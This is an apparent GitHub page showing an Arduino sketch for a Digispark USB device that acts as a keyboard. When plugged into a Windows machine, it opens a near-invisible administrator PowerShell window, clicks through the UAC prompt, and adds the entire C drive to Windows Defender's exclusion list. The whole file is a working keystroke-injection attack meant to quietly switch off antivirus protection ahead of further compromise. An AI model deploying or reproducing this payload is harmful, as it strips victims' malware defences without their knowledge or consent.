-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathuac_defender_exclusion.ino
38 lines (30 loc) · 1.28 KB
/
uac_defender_exclusion.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// using the German-DigiKeyboard library (https://github.com/Phoenixthrush/DigistumpArduinoDe)
#include <DigiKeyboardDe.h>
// the setup routine runs once
void setup() {
DigiKeyboard.update();
// initialize the digital pin as an output.
pinMode(0, OUTPUT); //LED on Model B
pinMode(1, OUTPUT); //LED on Model A
// opening run box
DigiKeyboardDe.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
// opening powershell as admin
DigiKeyboard.delay(300);
DigiKeyboardDe.print("powershell -noexit -c \"[console]::windowwidth=1; [console]::windowheight=1\"");
DigiKeyboardDe.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT + MOD_SHIFT_LEFT);
// accepting UAC
DigiKeyboard.delay(500);
DigiKeyboardDe.sendKeyStroke(KEY_J, MOD_ALT_LEFT); // change KEY_J to KEY_Y for an english keyboard
// creating exclusion for C drive via powershell
DigiKeyboard.delay(500);
DigiKeyboardDe.println("Add-MpPreference -ExclusionPath \"C:\\\";exit");
}
// the loop routine runs over and over again forever:
void loop() {
digitalWrite(0, HIGH); // turn the LED on (HIGH is the voltage level)
digitalWrite(1, HIGH);
delay(100); // wait for a second
digitalWrite(0, LOW); // turn the LED off by making the voltage LOW
digitalWrite(1, LOW);
delay(100); // wait for a second
}